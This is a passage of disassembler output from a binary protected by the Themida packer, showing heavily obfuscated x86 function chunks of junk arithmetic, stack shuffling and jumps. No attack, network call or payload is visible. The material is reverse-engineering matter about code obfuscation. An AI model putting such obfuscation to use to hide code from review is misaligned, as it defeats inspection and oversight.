loc_56FF8A ; END OF FUNCTION CHUNK FOR sub_5745B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566400 loc_56A152: ; CODE XREF: sub_566400-2239j mov eax, 53F45171h mov edx, 0E992EB6Eh add edx, eax pop eax push edi mov edi, 5D314439h shr edi, 6 shr edi, 6 jmp loc_56D155 ; END OF FUNCTION CHUNK FOR sub_566400 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E96D loc_56A170: ; CODE XREF: sub_56E96D+18C4j add esp, 4 push ebp mov ebp, esp jmp loc_573211 ; END OF FUNCTION CHUNK FOR sub_56E96D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56A17B: ; CODE XREF: sub_57354D-1998j xor edx, eax xor eax, edx xor edx, eax jmp loc_5656B5 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_56A186: ; CODE XREF: sub_56FB8A-9797j shr ebx, 1 jmp loc_560B04 ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- loc_56A18D: ; CODE XREF: Themida_:0056E786j sub esp, 4 mov [esp], eax mov eax, 501C5826h sub ebp, 352C421Ch add ebp, eax jmp loc_57239B ; --------------------------------------------------------------------------- loc_56A1A8: ; CODE XREF: Themida_:00574123j pop ecx jmp loc_56BE2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C83 loc_56A1AE: ; CODE XREF: sub_566C83-37Dj push ecx mov ecx, 7B555136h mov esi, 872225CCh jmp loc_5630D8 ; END OF FUNCTION CHUNK FOR sub_566C83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B71F loc_56A1BE: ; CODE XREF: sub_56B71F+2C78j mov edx, 49FC535Dh xor edx, ebp jmp loc_56EFDD ; END OF FUNCTION CHUNK FOR sub_56B71F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_56A1CA: ; CODE XREF: sub_571C93-84D1j add ebx, 426029B8h add ebx, 3DE26461h movzx ax, byte ptr [eax] push small 72F5h mov word ptr [esp+2+var_4+2], ax jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_571C93 ; --------------------------------------------------------------------------- loc_56A1E7: ; CODE XREF: Themida_:005672FFj sub ebx, esi jmp loc_563094 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_56A1EE: ; CODE XREF: sub_574F16-3ABj add esp, 4 xor al, ch mov cx, [esp+2+var_2] push edx push esp pop edx jmp loc_56DE6B ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- loc_56A1FF: ; CODE XREF: Themida_:0056FEEFj push dword ptr [esp] jmp loc_56DA97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5753A5 loc_56A207: ; CODE XREF: sub_5753A5-12B8j sub esi, 0DFB2F06h sub esi, edx push edi mov edi, 7E9C50C6h xor edi, 1BA5668Dh shl edi, 4 jmp loc_572DB1 ; END OF FUNCTION CHUNK FOR sub_5753A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56A223: ; CODE XREF: sub_56616D+96C5j pop edx jmp loc_56E87B ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5754DA loc_56A229: ; CODE XREF: sub_5754DA-3CF6j mov ch, 44h jmp loc_56773F ; END OF FUNCTION CHUNK FOR sub_5754DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568646 loc_56A230: ; CODE XREF: sub_568646-827Aj pop edx push ebx push 4BFEh mov [esp+4+var_4], edx push ecx push 1586h mov [esp+0Ch+var_C], ebx jmp loc_5607DF ; END OF FUNCTION CHUNK FOR sub_568646 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56A248: ; CODE XREF: sub_564D26+3E0Aj inc edi jmp loc_56BE07 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E0CB loc_56A24E: ; CODE XREF: sub_56E0CB+484j mov [esp+0], edi mov edi, 2E483B3Ch mov ebx, 2E483B3Eh xor ebx, edi pop edi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+0] pop esp jmp loc_5666EC ; END OF FUNCTION CHUNK FOR sub_56E0CB ; --------------------------------------------------------------------------- loc_56A273: ; CODE XREF: Themida_:005712DDj add edx, ebx pop ebx mov ebp, edx pop edx sub ebp, 71DD431Dh jmp loc_5715CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562EB3 loc_56A284: ; CODE XREF: sub_562EB3+E616j push esi push dword ptr [esp+4] pop esi pop [esp+4+var_4] mov esp, [esp+0] mov [esp+0], eax jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_562EB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A84 loc_56A298: ; CODE XREF: sub_569A84+44BAj mov ecx, 2A511D30h sub ecx, 491F4882h dec ecx push eax mov eax, 22867E80h sub eax, 105C2CA4h not eax inc eax sub eax, 7C8D49AAh add eax, 4C215716h sub ecx, eax jmp loc_573DF7 ; END OF FUNCTION CHUNK FOR sub_569A84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_56A2C3: ; CODE XREF: sub_56657A+115Aj xor ecx, edx pop edx jmp loc_569E87 ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564686 loc_56A2CB: ; CODE XREF: sub_564686+B149j push 26CEh mov [esp+4+var_4], edi mov edi, 31614B74h add dword ptr [esp+4], 8247B48h sub dword ptr [esp+4], 63DA525Eh sub dword ptr [esp+4], 68924CFBh push ebp mov ebp, 48D320F3h add [esp+8], ebp pop ebp add dword ptr [esp+4], 20F40576h add [esp+4], edi sub dword ptr [esp+4], 20F40576h sub dword ptr [esp+4], 48D320F3h add dword ptr [esp+4], 68924CFBh add dword ptr [esp+4], 63DA525Eh sub dword ptr [esp+4], 8247B48h mov edi, [esp+4+var_4] push edi jmp sub_566F55 ; END OF FUNCTION CHUNK FOR sub_564686 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57109F loc_56A338: ; CODE XREF: sub_57109F+315Cj inc esi jmp loc_573ABF ; END OF FUNCTION CHUNK FOR sub_57109F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C474 loc_56A33E: ; CODE XREF: sub_56C474+7AF9j mov edx, 4 add [esp+10h+var_C], edx pop edx pop ebx add ebx, 4 push edi push 4 mov edi, [esp+10h+var_10] jmp loc_56F138 ; END OF FUNCTION CHUNK FOR sub_56C474 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_56A35D: ; CODE XREF: sub_569193-58A4j mov [esp+0], ebx push dword ptr [esp+0] jmp loc_56BEA5 ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5690E8 loc_56A368: ; CODE XREF: sub_5690E8-12F2j neg [esp+10h+var_10] mov esi, [esp+10h+var_10] add esp, 4 xchg eax, esi push 7CF7h mov [esp+10h+var_10], ebp mov ebp, 6F647392h or eax, ebp mov ebp, [esp+10h+var_10] add esp, 4 push ebx mov ebx, 6E208B4h jmp loc_573342 ; END OF FUNCTION CHUNK FOR sub_5690E8 ; --------------------------------------------------------------------------- loc_56A398: ; CODE XREF: Themida_:0056D16Bj push 653Ah mov [esp], ebp not dword ptr [esp] pop ebp jmp loc_574AA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BC97 loc_56A3A9: ; CODE XREF: sub_56BC97+10BFj mov esp, [esp+0] xor byte ptr [esp-4+arg_0], al pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56BC97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563207 loc_56A3B5: ; CODE XREF: sub_563207+Aj push esp jmp loc_569A5E ; END OF FUNCTION CHUNK FOR sub_563207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571289 loc_56A3BB: ; CODE XREF: sub_571289-44Bj shl esi, 3 jmp loc_573513 ; END OF FUNCTION CHUNK FOR sub_571289 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574287 loc_56A3C3: ; CODE XREF: sub_574287-C442j mov [esp+4+var_4], esi push edi jmp loc_5721A4 ; END OF FUNCTION CHUNK FOR sub_574287 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56637E loc_56A3CC: ; CODE XREF: sub_56637E+9j push dword ptr [esp+4] pop edi pop [esp+4+var_4] pop esp shl eax, 3 sub eax, 0FFFFFFFFh jmp loc_5694D2 ; END OF FUNCTION CHUNK FOR sub_56637E ; --------------------------------------------------------------------------- loc_56A3E2: ; CODE XREF: Themida_:00560ECEj push esp jmp loc_571FF4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56A3E8: ; CODE XREF: sub_57354D-95C4j mov esp, [esp+0] shr ecx, 2 sub esp, 4 jmp loc_57034A ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572E16 loc_56A3F9: ; CODE XREF: sub_572E16+16E1j mov esi, 569E073Ah mov ecx, 2EAA7C1Dh jmp loc_5647B4 ; END OF FUNCTION CHUNK FOR sub_572E16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570F0F loc_56A408: ; CODE XREF: sub_570F0F-2AE0j add ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_56E3DB ; END OF FUNCTION CHUNK FOR sub_570F0F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569D5F loc_56A416: ; CODE XREF: sub_569D5F-6926j mov [esp+0], dx mov dl, 0E0h sub al, 57h jmp loc_574CCE ; END OF FUNCTION CHUNK FOR sub_569D5F ; =============== S U B R O U T I N E ======================================= sub_56A423 proc near ; CODE XREF: sub_571A50+4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00561DC3 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056C2A6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056C769 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056C95D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056FE08 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00571A2C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00572A39 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00573EA1 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00574C67 SIZE 00000006 BYTES sub esp, 4 mov [esp+4+var_4], eax mov eax, esp push 21B3h mov [esp+8+var_8], edx push 179Ah mov [esp+0Ch+var_C], ecx mov ecx, 551D5E2Bh jmp loc_56FE08 sub_56A423 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_56A445: ; CODE XREF: sub_57549C-1C04j add eax, edi push edi jmp loc_564365 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_56A44D: ; CODE XREF: sub_567D31+8B2Fj push [esp+4+var_4] jmp loc_5742D7 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574000 loc_56A455: ; CODE XREF: sub_574000-448Aj push eax mov eax, 70F4622Bh inc eax jmp loc_560E7E ; END OF FUNCTION CHUNK FOR sub_574000 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CF5 loc_56A461: ; CODE XREF: sub_567CF5+318Bj push 45CD678Ah jmp loc_565F5A ; END OF FUNCTION CHUNK FOR sub_567CF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_56A46B: ; CODE XREF: sub_5678CB+8F8j or ch, bh mov bx, word ptr [esp+4+var_4] add esp, 2 neg ch sub esp, 4 mov [esp+4+var_4], eax mov ah, 86h jmp loc_56157F ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D464 loc_56A486: ; CODE XREF: sub_56D464-6715j mov [esp+8+var_8], esi push [esp+8+var_4] pop esi pop [esp+8+var_8] jmp loc_56272B ; END OF FUNCTION CHUNK FOR sub_56D464 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B11B loc_56A496: ; CODE XREF: sub_56B11B-5CFj pop ebp add ebp, 4 add ebp, 4 xor ebp, [esp+0Ch+var_C] xor [esp+0Ch+var_C], ebp xor ebp, [esp+0Ch+var_C] pop esp pop [esp+8+var_8] jmp loc_56B41D ; END OF FUNCTION CHUNK FOR sub_56B11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_56A4B5: ; CODE XREF: sub_56FA15-13D5j add bl, 0ACh jmp loc_569904 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_56A4BD: ; CODE XREF: sub_57146D-B904j add esp, 4 sub bl, 2Ah jmp loc_572E83 ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563DCB loc_56A4CB: ; CODE XREF: sub_563DCB-2C82j or edi, 2DA723B2h or edi, 252D0DBEh xor edi, 2DAFEFFBh jmp loc_5697A2 ; END OF FUNCTION CHUNK FOR sub_563DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_56A4E2: ; CODE XREF: sub_5673C3+C815j push [esp-8+arg_8] pop ebp jmp loc_564E7D ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572641 loc_56A4EC: ; CODE XREF: sub_572641+Aj mov al, 0EEh add al, 70h jmp loc_566E32 ; END OF FUNCTION CHUNK FOR sub_572641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CDD loc_56A4F5: ; CODE XREF: sub_574CDD-11438j dec eax add eax, 0D31EC48Ch add edi, eax jmp loc_560A09 ; END OF FUNCTION CHUNK FOR sub_574CDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5722C8 loc_56A502: ; CODE XREF: sub_5722C8+3Ej push esi push dword ptr [esp+4] jmp loc_56D2F3 ; END OF FUNCTION CHUNK FOR sub_5722C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_56A50C: ; CODE XREF: sub_56BD44+67E4j add [esp+8+var_8], 4 mov edi, [esp+8+var_8] jmp loc_5683D5 ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_56A51B: ; CODE XREF: sub_574A21-13A99j mov edi, 0FF74691h xor edi, 250804FEh inc edi xor edi, 48EA3036h not edi sub edi, 741B664Eh xor edx, edi jmp loc_56E5F0 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568764 loc_56A53C: ; CODE XREF: sub_568764+97B9j add edx, eax add edx, 51510B1h pop eax jmp loc_562881 ; END OF FUNCTION CHUNK FOR sub_568764 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56A54A: ; CODE XREF: sub_564D26+FF17j mov esp, [esp+0] push 0B7Fh mov [esp+0], esi push 467C3554h mov esi, [esp+4+var_4] jmp loc_562527 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_56A562: ; CODE XREF: sub_56AB5E+A674j mov ebx, 3594A33h push eax mov eax, 21FC4270h shr eax, 2 push ebx mov ebx, 164B0DA7h add eax, ebx pop ebx sub edx, eax pop eax add edx, 53C234D7h add edx, ebx sub edx, 53C234D7h add edx, 1ECA1E43h push [esp+0Ch+var_C] jmp loc_568320 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_56A598: ; CODE XREF: sub_569FB8+2417j add esp, 4 pop edx push 0AE9h jmp loc_570DDE ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CF1 loc_56A5A9: ; CODE XREF: sub_560CF1+2D07j add eax, edi pop edi push eax push [esp+10h+var_C] push [esp+14h+var_14] pop eax add esp, 4 pop [esp+10h+var_10] mov esp, [esp+0Ch+var_C] push 7D7h mov [esp+4+var_4], ebp jmp loc_560789 ; END OF FUNCTION CHUNK FOR sub_560CF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D9E loc_56A5CB: ; CODE XREF: sub_568D9E+890Aj xchg eax, edi sub eax, 59546926h jmp loc_56C589 ; END OF FUNCTION CHUNK FOR sub_568D9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561C21 loc_56A5D6: ; CODE XREF: sub_561C21+D043j shl bl, 1 add bl, 0CEh xor bl, 0CEh xor cl, bl mov ebx, [esp+0] add esp, 4 xor al, cl push [esp-4+arg_0] pop ecx add esp, 4 jmp sub_56AB5E ; END OF FUNCTION CHUNK FOR sub_561C21 ; --------------------------------------------------------------------------- loc_56A5FA: ; CODE XREF: Themida_:0056448Fj add edx, 4 sub edx, 4 jmp loc_5642AE ; =============== S U B R O U T I N E ======================================= sub_56A608 proc near ; CODE XREF: sub_5642C7-27B2j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005607BF SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00561F3A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00564838 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00565394 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00566351 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056826D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056B695 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056C00E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056DA1C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056DEA2 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0056ECE9 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00571A59 SIZE 00000006 BYTES sub esp, 4 jmp loc_565394 sub_56A608 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56A613: ; CODE XREF: sub_563A7F+8577j push ecx mov ch, bh mov dl, ch jmp loc_561B8C ; END OF FUNCTION CHUNK FOR sub_563A7F ; =============== S U B R O U T I N E ======================================= sub_56A61D proc near ; CODE XREF: sub_56ADD8+3CF6j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005743EB SIZE 00000008 BYTES sub esp, 4 mov [esp+4+var_4], ebp push esp mov ebp, [esp+8+var_8] add esp, 4 push ebx mov ebx, 4 add ebp, ebx pop ebx add ebp, 4 xchg ebp, [esp+4+var_4] jmp loc_5743EB sub_56A61D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_56A647: ; CODE XREF: sub_561027+E4F4j mov [esp+10h+var_10], ebp push ebx mov ebx, 62D4623Eh sub [esp+14h+var_10], ebx jmp loc_56ACB8 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A3 loc_56A659: ; CODE XREF: sub_5687A3-6024j pop ebx push esi mov esi, 0ECC20295h add ecx, esi pop esi sub ebx, 3BE812A2h jmp loc_569D57 ; END OF FUNCTION CHUNK FOR sub_5687A3 ; --------------------------------------------------------------------------- loc_56A66E: ; CODE XREF: Themida_:0056DA98j add esp, 4 add esp, 4 push ebx mov ebx, 1ED3296Dh xor edx, ebx pop ebx jmp loc_56110C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_56A688: ; CODE XREF: sub_571F6F-F24Bj pop esi pop edx dec ecx jmp loc_5747F3 ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56A690: ; CODE XREF: sub_57354D-AD4Aj mov eax, esp push ebp mov ebp, 0D8B26C3h jmp loc_569F98 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_56A69D: ; CODE XREF: sub_574304-C87Ej xor ebp, 758A1AA4h sub ebp, 0D9F972F7h add edi, ebp jmp loc_5644FF ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_56A6B0: ; CODE XREF: sub_571088-B971j add esp, 2 movzx eax, al jmp loc_571FB5 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C7AA loc_56A6BE: ; CODE XREF: sub_56C7AA+5977j mov [esp+0], ebx mov ebx, 0 jmp loc_5731D7 ; END OF FUNCTION CHUNK FOR sub_56C7AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568764 loc_56A6CB: ; CODE XREF: sub_568764+8950j pop esi push ecx mov ecx, 4 jmp loc_56874B ; END OF FUNCTION CHUNK FOR sub_568764 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_56A6D7: ; CODE XREF: sub_5713A7-7BD0j add edx, ebx push [esp+0Ch+var_C] pop ebx add esp, 4 push ebx mov ebx, 10D474C4h jmp loc_56782E ; END OF FUNCTION CHUNK FOR sub_5713A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E05C loc_56A6EB: ; CODE XREF: sub_56E05C-6DBBj push 7B7Bh jmp loc_56C975 ; END OF FUNCTION CHUNK FOR sub_56E05C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56A6F5: ; CODE XREF: sub_57354D-CEB4j add ebx, 4 push eax mov eax, 4 jmp loc_56AF76 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570CE4 loc_56A706: ; CODE XREF: sub_570CE4+42D3j pop edx jmp loc_571912 ; END OF FUNCTION CHUNK FOR sub_570CE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD38 loc_56A70C: ; CODE XREF: sub_56FD38-8E82j pop edi and ebx, 293737C2h inc ebx jmp loc_56C754 ; END OF FUNCTION CHUNK FOR sub_56FD38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56189F loc_56A719: ; CODE XREF: sub_56189F+EB12j mov ebp, 61231ABEh shr ebp, 2 shr ebp, 6 jmp loc_56D720 ; END OF FUNCTION CHUNK FOR sub_56189F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_56A729: ; CODE XREF: sub_56FB8A-A14Fj sub ebx, 434C1F36h pop esi xor eax, ebx push dword ptr [esp+0] mov ebx, [esp+4+var_4] add esp, 4 push 42C0h mov [esp+4+var_4], eax mov eax, esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+8+var_8] pop esp mov [esp+4+var_4], ebx jmp loc_5663CD ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C83 loc_56A763: ; CODE XREF: sub_566C83-6C64j add ebx, 41FB5339h jmp loc_56B3FD ; END OF FUNCTION CHUNK FOR sub_566C83 ; --------------------------------------------------------------------------- loc_56A76E: ; CODE XREF: Themida_:0056C7D1j sub esp, 4 mov [esp], edi mov edi, 3ABF302Bh mov esi, 261A197Ah add esi, edi pop edi not esi shr esi, 7 or esi, 444F2E48h sub esi, 0D03D2AECh jmp loc_567D4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564BC5 loc_56A79A: ; CODE XREF: sub_564BC5+9E64j mov dx, [esp+0] push 13CBh mov [esp+4+var_4], ebp push esp pop ebp jmp loc_56DF59 ; END OF FUNCTION CHUNK FOR sub_564BC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_56A7AD: ; CODE XREF: sub_56241E-FB2j mov dx, bx pop ebx not dx xor dx, 5485h sub esp, 2 jmp loc_573C5E ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5753A5 loc_56A7C1: ; CODE XREF: sub_5753A5-91DCj mov edi, esp add edi, 4 push ecx mov ecx, esp jmp loc_56FA7D ; END OF FUNCTION CHUNK FOR sub_5753A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56858D loc_56A7D1: ; CODE XREF: sub_56858D+Cj push edx mov edx, 53B44166h xor edx, 2C2B31CDh add edx, 1E1339BEh add edx, 0E2267D69h add edi, edx pop edx pop esi xchg edi, [esp-8+arg_4] mov esp, [esp-8+arg_4] mov [esp-8+arg_4], ecx jmp loc_568B55 ; END OF FUNCTION CHUNK FOR sub_56858D ; =============== S U B R O U T I N E ======================================= sub_56A7FB proc near ; CODE XREF: sub_569D5F+4AF1j var_8 = dword ptr -8 var_3 = byte ptr -3 ; FUNCTION CHUNK AT 00560FBF SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00561A33 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056296A SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00563B64 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00564B9B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005674F7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005688A0 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056B972 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056CD5B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056FA76 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00570719 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00572A52 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00573C0A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0057462D SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00574F9F SIZE 00000006 BYTES push bx jmp loc_573C0A sub_56A7FB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56749A loc_56A802: ; CODE XREF: sub_56749A-26DAj pop esp push 6834h mov [esp+14h+var_14], eax push esi mov esi, esp jmp loc_569251 ; END OF FUNCTION CHUNK FOR sub_56749A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E5BB loc_56A813: ; CODE XREF: sub_56E5BB-D422j add ecx, 2 push 106Dh jmp loc_571921 ; END OF FUNCTION CHUNK FOR sub_56E5BB ; --------------------------------------------------------------------------- dd 4EC81h, 0FCE90000h db 86h, 0FFh db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_56A82B: ; CODE XREF: sub_5620B7+F04Cj or dh, 0E7h not dh or dh, 0F0h shr dh, 2 xor dh, 0A4h mov ch, dh pop edx sub bh, 0E3h sub bh, ch push dx mov dl, 0E3h add bh, dl pop dx jmp loc_563733 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56A84E: ; CODE XREF: sub_563A7F+1022Bj mov bl, 54h mov dh, bl pop bx xor bh, dh pop dx and bh, 48h push edx mov dl, 83h add bh, dl jmp loc_5745FE ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_56A865: ; CODE XREF: sub_574304-D83Ej mov esp, [esp+4+var_4] mov [esp+0], ebp push esp push [esp+4+var_4] jmp loc_561167 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_56A874: ; CODE XREF: sub_571F6F-1237j pop ecx add eax, edi jmp loc_56EF3A ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A84 loc_56A87C: ; CODE XREF: sub_569A84-4E35j mov eax, 5F4C2755h shl eax, 6 add eax, 2CF62AC4h sub ebx, eax pop eax xor ebx, [esp+0] xor [esp+0], ebx xor ebx, [esp+0] mov esp, [esp+0] jmp loc_5736BF ; END OF FUNCTION CHUNK FOR sub_569A84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643EB loc_56A89D: ; CODE XREF: sub_5643EB+70C6j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5643EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR 